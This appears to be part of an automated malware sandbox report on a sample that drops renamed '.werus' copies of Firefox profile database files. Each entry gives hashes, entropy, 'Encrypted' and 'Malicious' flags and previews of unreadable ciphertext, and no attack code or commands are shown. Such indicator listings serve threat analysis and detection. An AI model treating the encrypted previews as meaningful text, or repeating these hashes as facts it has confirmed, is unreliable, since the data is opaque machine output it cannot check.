C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.996187113231361
Encrypted:	true
SSDEEP:	768:1aUQA38OD+ZYV9EJhsU/eJCNQ0EWnV1tDsG/EL2P52hkImJdj+mTWB9Vv89YbxSt:1hX38vLYqI6118CSydvCB9xk7
MD5:	41C1EFE18B859BE645B8798DB2C1A1D9
SHA1:	8024CF0F5996F4E55465FB81517EA353EEBA771D
SHA-256:	C1B96BA97AAADCBE74C34C845526A6654C5E38FEC5A09C59293F288D2FD85E09
SHA-512:	7370E03A0291B8405AFBCB4945FC1F92F60ABA6784B69DEA322687C621C3AA7333698EEFA7BE98326597C3040DFC7426A6B3586D4CF7B286B50B33DD5AF58A0A
Malicious:	true
Preview:	...-n.fF...wG.....53....D..).-.j,../q..n..j.....=.....s..&[.....{<../...........L G.R..R..V.:.D......UUP.....y..d.5."&Ti.s\fa4..G.&.V....{.......T.)......h......c5....F.(.:,x..X.c.w...S......A..\|...uD.r.g..E2.4N}i_.#...2.F.U.or)...e9......g....i.nUD.z....R.....fn....81Nec].a..QZ2J=.....lc.Vz.o.Z.........5.....E.y^...!.Y.Hy...eNs&.R...t'..........(Yul..#.........c?q.NBuI.p.c..h..w...r@"....z....E..;.....tvu....k...P-.:.{0b..6.\...!.D.x.{....~Zh.2.vu.}..p...Pav....o.>B....Qk..OF..'.n.....MR..C.~Y..w..\.S.u.#W.#u.;:....."$...Z..TNSS.zQF..>b.....\0........Tn.vR....L..E..SS....@....r..j\]m..P.'....._..boo&.nw.p..>`.........7.[.W..o...J.U.S.S-.....K.aW......M.I..o#..&...k%.....,)3sl.=n.>]!..".b...."a..j.....Ai...}{..C./...V+V.........:.mhj.Li_K4..Q...........]w.4...czN...s.%.....?..fKM..W.m.]....H.'.......c_.bsph.g..O'.".e.y4..siBA...Zk'1..$.K..{Y.S..c".....!$/......d.V4.E5_..Zj..E..`..i.f+n~....J8...8\.......>35..(baWj\.[.."..\..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.993821289452867
Encrypted:	true
SSDEEP:	768:GQveAbic/R2yRW856VsJsNrumzfQ9idKHPM2a+JNboKA:GQvhbijy485v6NJ09EKHPMCJN8KA
MD5:	23A2B84C4EB6D4BFE19A9BF59DDC1841
SHA1:	1759637F3282761E36CC583D180DAD92AC1B8641
SHA-256:	81DD2F8FE802E9CA35EB1C7CC919A1F33BC09402E6678B182DC7DA496B55F1A3
SHA-512:	A8202129DE3D7902710B9AF1018A2FAFE5079D08EDA5487DFBDEA2969FDCA98F79993E65BEA6CCA496926BDA367BEE7F1633A05D528A3DD1A4CD39213444752A
Malicious:	true
Preview:	.&..U\|....X7...6....\...a.!..Sh...a.S.c.n.p..d..{w...\..\|.....@+.}.3!.5.(u..`....] .:S5.X..1...G.Su.=..u..7....Op...4.....S..l?...........=.0j.S$....._.9....{.. .....t..S^.q..:.....5........D..>.=i...=.A{..b.t.P.yX.r.?...M.B.6.....Qk.....V....k..N:.T.5..ql.#9.p.....4....ym...>....b..."..8.hHP.\.u.. ...f...\Ij.y1.."BFW...q.2..F..'.....R...4N..z..\|...=.%.....Hr.JX.M./"...%.%..~...\|v~k.y.o...#.I.YR.ga53.#.J..@..}..7h&_q......P..MF}3...l.y\r...%s/.N.q6...w....>...O$S...t.W..vfy...?)f......:..{..s.;....... A...T..%?!.D.`I..@...Qh<.i..0RDiU.Y..+.w...k0.k.+...;.....G........{.,.".U....5.o.8@_h....x.Z...\|.?.6..q.<5......Z..[.(=..{.G.N.Z...y...i}...3[Z#..@..C.F9......E..N.....G.p......H....n..G...#....g....S...../.g=.....<.r.e..D.. .z.....#.` \..x...}.S.9j...ql.\.k.....:5.z{.....,..=.b..C..x..\v,..........cJ\r.1\|1m...,.E.... 9....Mx....)...$0.He.W...(.S...._QD2..Ov..9..6....P......?`^....;/.y..U.B.!.#.bW...........f".k..V.........B%I~

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.995915772368148
Encrypted:	true
SSDEEP:	768:1aUQA38OD+ZitSf20adl+A7p2AyDrMmBhawVbqLTmJ4WYv5db+E68kA8A0:1hX38vAaLadgAF2AyMmBqmIjKE6Ja0
MD5:	1909C13D9920EFD98779EA53F8C8E3BD
SHA1:	3B4B219DAAFAE7447BCFAA7997153515BCDEF7F7
SHA-256:	5A10ABB222CB378025D09BEB92086C39C48A50DE628A2CB9D1FA10E31677019D
SHA-512:	E70969AA0BD4355197D445BCF468F8A57F530B3BCA068ED0132F2CA9BE788352DC498CBB48D45E3E595CD51191258CAC1339A52F99666CCF7C81C920446BE677
Malicious:	true
Preview:	...-n.fF...wG.....53....D..).-.j,../q..n..j.....=.....s..&[.....{<../...........L G.R..R..V.:.D......UUP.....y..d.5."&Ti.s\fa4..G.&.V....{.......T.)......h......c5....F.(.:,x..X.c.w...S......A..\|...uD.r.g..E2.4N}i_.#...2.F.U.or)...e9......g....i.nUD.z....R.....fn....81Nec].a..QZ2J=.....lc.Vz.o.Z.........5.....E.y^...!.Y.Hy...eNs&.R...t'..........(Yul..#.........c?q.NBuI.p.c..h..w...r@"....z....E..;.....tvu....k...P-.:.{0b..6.\...!.D.x.{....~Zh.2.vu.}..p...Pav....o.>B....Qk..OF..'.n.....MR..C.~Y..w..\.S.u.#W.#u.;:....."$...Z..TNSS.zQF..>b.....\0........Tn.vR....L..E..SS....@....r..j\]m..P.'....._..boo&.nw.p..>`.........7.[.W..o...J.U.S.S-.....K.aW......M.I..o#..&...k%.....,)3sl.=n.>]!..".b...."a..j.....Ai...}{..C./...V+V.........:.mhj.Li_K4..Q...........]w.4...czN...s.%.....?..fKM..W.m.]....H.'.......c_.bsph.g..O'.".e.y4..siBA...Zk'1..$.K..{Y.S..c".....!$/......d.V4.E5_..Zj..E..`..i.f+n~....J8...8\.......>35..(baWj\.[.."..\..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994194258059233
Encrypted:	true
SSDEEP:	768:rj0gqKyzqbf3fiRTLtE0XtKZUW3CXmm25nNydA+zkLk8I:rYZzw3gvtE0X8GjXmm2t+4I
MD5:	BF6E71222683F9A6E5EE15506478C680
SHA1:	FC0FC4B4A8619E684B68818BDFB621CADEF66DD5
SHA-256:	8A3ADB95F980DBFD77605E37EFC8F30D67F90B99F1ABFB5F2F3FC44D2CBA9DFB
SHA-512:	C3EC8794D3B3830B3033324E0760F33EB298A6A1B2494465B3EF3C990E7E8638995EA97247B6A72B35F8333661198BA9F52EF314B8DDEA6F7F3F767A76A4813A
Malicious:	true
Preview:	....".....C.h.C)@.)v.-...Y...s..uG.......8.$.8.....G.M".D...._......m.....Xz.B._G.....{.K.s!X_3./.+..H.(.~N)."....RW.J'..`....yUv@V."6...#.U{'....u.....9.%..&/v.4u...Q+..O.t..~.?tm.1.....p.D.1lm..~@.......UUV`%.1Fz..p..vg...y.vs..BX\...-w<'..B-..3.Q..../...!..F...M..BC..\d!.+...a.}..Te.........}~P...t}\...'..v~..{..~.I...6....}....'4...X..S.]....v...R.h..K..}.K.Geq...0F@..YZ.f'....G+...a.;......Sj.0...3=z...I.n8..^..J'..N.kZ.8..9..../8m...m........g.lq.qk.>...=..5m0.[...X\~...Z.[5A.h..9........`_..!U....>..u..p......;..H..L.&M k.s3...e......oL..A...~p...W...i..J..H.,..[....S.U;.:....I.'I6.......o.-..'..iUd\&...o.L.`C.......f...yv.R.c<.. ....qs.n..d[DeU...,....+F..r...5]0.sFv..<."^$ZOts.7.....[..D.{.R/....... ...Q.A..s..+)..S...bmZ.......I....F.<..B.4<o.j...{4....A.......8.....i...4Y/..z1...&8...eS6]..p. .aRg.b.3.p..r.......8e].=...1..aaX#....F.-....gb3.Z.....4.?-..B.z ......&..].$~.WsiS..O.........J...L.V.].-0..-....Re.........=

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.996348121383775
Encrypted:	true
SSDEEP:	1536:1hX38vxUeRsqMey4DXkbuFkwW5r0w9ULxnyQlw:1hX3aUeqeysFkwwzI7w
MD5:	7EB140157A59E147E5EF6EA88F663DC7
SHA1:	DA4CD9ED4E4FF17A6FA180086FDFBAAD2D007ACA
SHA-256:	5EDE7EC3A56104DB91987C1D821C81AC1E07E8C9660D86A4018890FFF806716D
SHA-512:	DAC5BE6EF44EF5D945E13673E6BED45E4865DC815391F5AAB9E46C32AE05844B4DC15BB6CE3F314424F5CD596AE8FAEF04E720EC70F4F15FC2C3294197A88AA4
Malicious:	true
Preview:	...-n.fF...wG.....53....D..).-.j,../q..n..j.....=.....s..&[.....{<../...........L G.R..R..V.:.D......UUP.....y..d.5."&Ti.s\fa4..G.&.V....{.......T.)......h......c5....F.(.:,x..X.c.w...S......A..\|...uD.r.g..E2.4N}i_.#...2.F.U.or)...e9......g....i.nUD.z....R.....fn....81Nec].a..QZ2J=.....lc.Vz.o.Z.........5.....E.y^...!.Y.Hy...eNs&.R...t'..........(Yul..#.........c?q.NBuI.p.c..h..w...r@"....z....E..;.....tvu....k...P-.:.{0b..6.\...!.D.x.{....~Zh.2.vu.}..p...Pav....o.>B....Qk..OF..'.n.....MR..C.~Y..w..\.S.u.#W.#u.;:....."$...Z..TNSS.zQF..>b.....\0........Tn.vR....L..E..SS....@....r..j\]m..P.'....._..boo&.nw.p..>`.........7.[.W..o...J.U.S.S-.....K.aW......M.I..o#..&...k%.....,)3sl.=n.>]!..".b...."a..j.....Ai...}{..C./...V+V.........:.mhj.Li_K4..Q...........]w.4...czN...s.%.....?..fKM..W.m.]....H.'.......c_.bsph.g..O'.".e.y4..siBA...Zk'1..$.K..{Y.S..c".....!$/......d.V4.E5_..Zj..E..`..i.f+n~....J8...8\.......>35..(baWj\.[.."..\..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994125335735589
Encrypted:	true
SSDEEP:	768:L5ma9pJYryVGLggJmJ3xnEwAJKELr0eqOZDJpModx/:L5jHY8aggJDwAJKFkJKOx/
MD5:	F3F58A4CB67A9C1EE3E2260E91423C53
SHA1:	24DA2406351BF5918C6668D667AE3E9A4BFD7000
SHA-256:	AFC58976C08517E289D29B626D3E458D4108997A9FB0A399A45DB0650A08A747
SHA-512:	8834571BD7871056C8EF90E8CB558CD9821702AFCC3FDB8178EA1C74D6AFC5EA09993D4A6DC06B9787CA9CA62056C00E0533FC1AFA06E4CD6D1CCCFF2D7AD1E1
Malicious:	true
Preview:	....".....C.h.C)@.)v.-...Y...f.J....~..c.=...i.e..[K.!....^L.d..5.wc...J.!.k.}A.....wK.n9.b..w.`...........S..z...f...~h........$....y..<.....m......C.N\...OC~.Cd.....w;.k...!C..+h....w6^..#<.....X...d....Y.,..O.a.V.x..K.'.T.+.)...0.5g/i.2.,.d.K.<}.*.?'>0.....y..%.........I..<x....g]._.p.+....K......B..!6E..c..xkb..cK1......../F.t.`..Mlp........{.{..e..feB......._......1...%..k...9Th..........:.(.p..C1../J..D.e?.f..c`_...cS_......i-.,.u39-.o....k1../%.N,...... ......iD..]....z....5jE..h.:P......z.t]..[L.......>.0....?...dtT.V)<-..8.G.......h.8y.N..X.4.LJ.J....n.C.I..L.\|rw[.U..E.x.......<..[.V......u..H..lI..b..s.as..2.Oq...vU....)5X ..a.F.0.....T.f.Y9..i..;..I..+G.t\..D.]_.... ofk.]KJ....jn7..k.n..i.%zq.zU....Fa.O..G.X.g..."K..O....uKEa..E.y..hO.S.......2\|...^F..?..&?.J..7gB.z..X.=../T%.YH.t~...@S~..)...Pf...bW....]:\|.D..W.zyK..B.y.8.Z0.O..[A.FA.B.:-N.....4....;....c....J...t.....uj..Z.....}..Q..'..w,..A.0/.J.....7......_.>s..Q..N.].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.996628227690026
Encrypted:	true
SSDEEP:	768:1aUQA38OD+Z9JoZObBLD+Xg8RTl+QL0mjXrq3BTz+OKfiv2fY0zHHV1qTiC6c1E:1hX38v0OVLCQ8RTlF0kOhwf9PJc1E
MD5:	4BBDDDC05A9A803ED06A8930A25DADAE
SHA1:	AA18A9CA2A5E0909B4AE5C2FEEE372E85D379F19
SHA-256:	FA930E0606F69183A31203979092B78A58C8D17FA8768FA0C24B3FA0C58097BF
SHA-512:	137C26AB1030FE1B7B74203A143CCF83D2884AF57576D71F578EE94CECFA2513422DB307A2FC4D5FD9B23D8A2E78635C8CA39DEB7B687DFC9F9A992DC690CDA7
Malicious:	true
Preview:	...-n.fF...wG.....53....D..).-.j,../q..n..j.....=.....s..&[.....{<../...........L G.R..R..V.:.D......UUP.....y..d.5."&Ti.s\fa4..G.&.V....{.......T.)......h......c5....F.(.:,x..X.c.w...S......A..\|...uD.r.g..E2.4N}i_.#...2.F.U.or)...e9......g....i.nUD.z....R.....fn....81Nec].a..QZ2J=.....lc.Vz.o.Z.........5.....E.y^...!.Y.Hy...eNs&.R...t'..........(Yul..#.........c?q.NBuI.p.c..h..w...r@"....z....E..;.....tvu....k...P-.:.{0b..6.\...!.D.x.{....~Zh.2.vu.}..p...Pav....o.>B....Qk..OF..'.n.....MR..C.~Y..w..\.S.u.#W.#u.;:....."$...Z..TNSS.zQF..>b.....\0........Tn.vR....L..E..SS....@....r..j\]m..P.'....._..boo&.nw.p..>`.........7.[.W..o...J.U.S.S-.....K.aW......M.I..o#..&...k%.....,)3sl.=n.>]!..".b...."a..j.....Ai...}{..C./...V+V.........:.mhj.Li_K4..Q...........]w.4...czN...s.%.....?..fKM..W.m.]....H.'.......c_.bsph.g..O'.".e.y4..siBA...Zk'1..$.K..{Y.S..c".....!$/......d.V4.E5_..Zj..E..`..i.f+n~....J8...8\.......>35..(baWj\.[.."..\..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994194258059233
Encrypted:	true
SSDEEP:	768:rj0gqKyzqbf3fiRTLtE0XtKZUW3CXmm25nNydA+zkLk8I:rYZzw3gvtE0X8GjXmm2t+4I
MD5:	BF6E71222683F9A6E5EE15506478C680
SHA1:	FC0FC4B4A8619E684B68818BDFB621CADEF66DD5
SHA-256:	8A3ADB95F980DBFD77605E37EFC8F30D67F90B99F1ABFB5F2F3FC44D2CBA9DFB
SHA-512:	C3EC8794D3B3830B3033324E0760F33EB298A6A1B2494465B3EF3C990E7E8638995EA97247B6A72B35F8333661198BA9F52EF314B8DDEA6F7F3F767A76A4813A
Malicious:	true
Preview:	....".....C.h.C)@.)v.-...Y...s..uG.......8.$.8.....G.M".D...._......m.....Xz.B._G.....{.K.s!X_3./.+..H.(.~N)."....RW.J'..`....yUv@V."6...#.U{'....u.....9.%..&/v.4u...Q+..O.t..~.?tm.1.....p.D.1lm..~@.......UUV`%.1Fz..p..vg...y.vs..BX\...-w<'..B-..3.Q..../...!..F...M..BC..\d!.+...a.}..Te.........}~P...t}\...'..v~..{..~.I...6....}....'4...X..S.]....v...R.h..K..}.K.Geq...0F@..YZ.f'....G+...a.;......Sj.0...3=z...I.n8..^..J'..N.kZ.8..9..../8m...m........g.lq.qk.>...=..5m0.[...X\~...Z.[5A.h..9........`_..!U....>..u..p......;..H..L.&M k.s3...e......oL..A...~p...W...i..J..H.,..[....S.U;.:....I.'I6.......o.-..'..iUd\&...o.L.`C.......f...yv.R.c<.. ....qs.n..d[DeU...,....+F..r...5]0.sFv..<."^$ZOts.7.....[..D.{.R/....... ...Q.A..s..+)..S...bmZ.......I....F.<..B.4<o.j...{4....A.......8.....i...4Y/..z1...&8...eS6]..p. .aRg.b.3.p..r.......8e].=...1..aaX#....F.-....gb3.Z.....4.?-..B.z ......&..].$~.WsiS..O.........J...L.V.].-0..-....Re.........=

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.995766133608277
Encrypted:	true
SSDEEP:	1536:1hX38vHsVvxyvsr7WJH6ZaIylGwgaHF1oI:1hX3Y1aCJvIKXgalWI
MD5:	F2FF253DC9D7E46F8B591ABC326B193C
SHA1:	A0CB583615B6A15155832336FFEB0BD213ED2263
SHA-256:	7E73FC719392F6F2289F39BAA7DB9BFEE1088BCAD5A2F8ABCEAA9432F106DA9F
SHA-512:	90F778F8D091634CEF698146B886839C853994B50489DF0AD15ACDA21F7E10C0AAAAE6295B13D4234A9BA45238A537D210B4C372EBD022DF01628E01C7320840
Malicious:	true
Preview:	...-n.fF...wG.....53....D..).-.j,../q..n..j.....=.....s..&[.....{<../...........L G.R..R..V.:.D......UUP.....y..d.5."&Ti.s\fa4..G.&.V....{.......T.)......h......c5....F.(.:,x..X.c.w...S......A..\|...uD.r.g..E2.4N}i_.#...2.F.U.or)...e9......g....i.nUD.z....R.....fn....81Nec].a..QZ2J=.....lc.Vz.o.Z.........5.....E.y^...!.Y.Hy...eNs&.R...t'..........(Yul..#.........c?q.NBuI.p.c..h..w...r@"....z....E..;.....tvu....k...P-.:.{0b..6.\...!.D.x.{....~Zh.2.vu.}..p...Pav....o.>B....Qk..OF..'.n.....MR..C.~Y..w..\.S.u.#W.#u.;:....."$...Z..TNSS.zQF..>b.....\0........Tn.vR....L..E..SS....@....r..j\]m..P.'....._..boo&.nw.p..>`.........7.[.W..o...J.U.S.S-.....K.aW......M.I..o#..&...k%.....,)3sl.=n.>]!..".b...."a..j.....Ai...}{..C./...V+V.........:.mhj.Li_K4..Q...........]w.4...czN...s.%.....?..fKM..W.m.]....H.'.......c_.bsph.g..O'.".e.y4..siBA...Zk'1..$.K..{Y.S..c".....!$/......d.V4.E5_..Zj..E..`..i.f+n~....J8...8\.......>35..(baWj\.[.."..\..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994619760637817
Encrypted:	true
SSDEEP:	768:ZUwlOrAZ7htnAWlMsrHT95HrIGWS6QGt4isW5H74:VsCFtpzLHrIGWTTb4
MD5:	A7C93D55FA9D87D2D567544AC3026E7C
SHA1:	CD9B3EA43D44CCD3F395686E87C14310595394B4
SHA-256:	0867FE87521AA32029DCCC761818D00F8CF563210E6D467C29CC0856B6D64F0E
SHA-512:	232B36B410D9533F6D05C35823759C1DFACF447BE36C2AFB416895ECB456527555F8A523ADAA2F3F5312C01389FDD956C157EE4B7C4E217B8EA3D6E3E4B842FD
Malicious:	true
Preview:	0..QW.6.}..U.XaL....J?.!....K.8Q....=;.!..0...R=.TMF.m.h....R..5....As..l$O....c...Z...d5B....{u....=....p8r...{P....).....b....0.O}=.(yrfU\..."..;...c..K..Q".Z.#\|.V{.?j}{.....B...Z....l3..{.......o...+.G...I..s..\f....z...k1$E-wy..FCM.c....;a5.x)...q..k.....Hw. x.I+.......8.U..K\|....z.,.....-}....'s....b.#w....:....:.%./...L..A.&..j@...QN.M.-.b....x@`<......a..=.>.?$P.#.pOf..{.Ed'....>..\...%.W..F..4..8....../.\|2J.WH.l..pL..5..n.[P.@Pg(P_.K.:.Kr.r.....~.z...[..@0.h~.#....l..`"'.$!..n.m3...<k.......A..F.d.?F..B@<F....<[....OV..........(.s..........h.&F..0@vA.K....O..\|....8.J.. .^.#_.."........Ox._d&h..L.S....D..#[Tr=....g.6......h...mp.%..3.".v.....+Y!M.0.O.W.v%..'.x.#......m.N.h.X.....B....j..]............=...2...CM .uE. ...b.....b......s...D...<..$4..EZa.t<P..@o..i..$a.u.S.1..-HR......j.c4...G&...W..YP.g...,..a...:.Q.....L.y._..m.m..{\...V...P....qq......;=.@t......l_...C..7...H1..B.51....C.J.{......z.....f.A.T .'.U..L.\ ...!..!M

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	573456
Entropy (8bit):	7.999672783056709
Encrypted:	true
SSDEEP:	12288:f83IdxyaiI8b+tOqVpGPQdCf1zZR89kFUep5oP53JJQZ:03dzIy+tlVpnCf989gUe253JKZ
MD5:	BE2F0F1F17C2D91CA4F222DF49B51948
SHA1:	5C23A07A3D42D699BE7E48BE2BA492844ECD6F7D
SHA-256:	8ABFF89ED608EBBD1FA1D8999654380240323F374A75ECB6E4786E261CC4EEC8
SHA-512:	FD99DE670151296B5AB8407CD008BBD4534D0E6EF32627AFF73AEFD1465A5B23F873CDA986BA514D561EBF9641FF887162C8AB03A06ABD64825F49B179FDD34A
Malicious:	true
Preview:	...-n.fF...wG...:...".....r.....:i..a.,.m...U0."..%+^.w...F.+........d..Y..a.4.`]-../.i.ib#..:>..\|.....Kir,.TY.....)..E.c2...P...^X...Q..AB....y.....8e^.tY..W...V.............e..T....)~8S.~..;x.5.....>..T.!.3...`.._&..4,m]..e.U.._g..n....49.......#Ohp.~..>.B..,3..z^b...)e6P.,.i..d..h.rh.g#..-......>{...4.D.=...8N)cs.T...c.7).6.9).9<9<T.v.cf...:...Ld.... .uo!,...7.D.8D..0B{u.[....Mk..T...>lUC...`../.A...N^a!.t.....6.HV..y1....^../..5.S..w......_..\.........e2..6..-..U..`ls.......A...9..<L!....>...G..y.\.VI...z.a.H...{?.}.0..%....?..vd...j......L..]...@l..{../..../..JN\...3..9..;I.....J\|...e>...Q.#,.\|..!p.2..q......;7.....u.}q.........HGO...^.w... 5....9S.SZ2.....@...........HLT..S.J.f.1....8....iYk.......~.....^.Vvy...........'U..n..0......".{..,...C..R....=.x...C.R3.<..xJf......u.VWH..?&..~../....D..F.k.?.y...3..?..>.ED4q..g.;..c......C..Cj...BNr..?...N?0......*Q9a.M..j....&Xm..h.........6.Z?.%.-b?. /I-^..Q........t.0.&B.....&...U......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4560
Entropy (8bit):	7.960187719202278
Encrypted:	false
SSDEEP:	96:r2CMWGaqN44OMSlBOi4cOcNtRjRtJsx9VaMCG3KwFfyxY:6paJVlB0cOcNtV6x9VdC4KzY
MD5:	E9DB42A1FFCA339CC5BEBFD90EDCCFCE
SHA1:	6FE638896FA3CED3DDA1A78249752821E25C0D72
SHA-256:	2F166050A03A4AB78BCB1F49B7902670C69885F0A94A690729DF362433968297
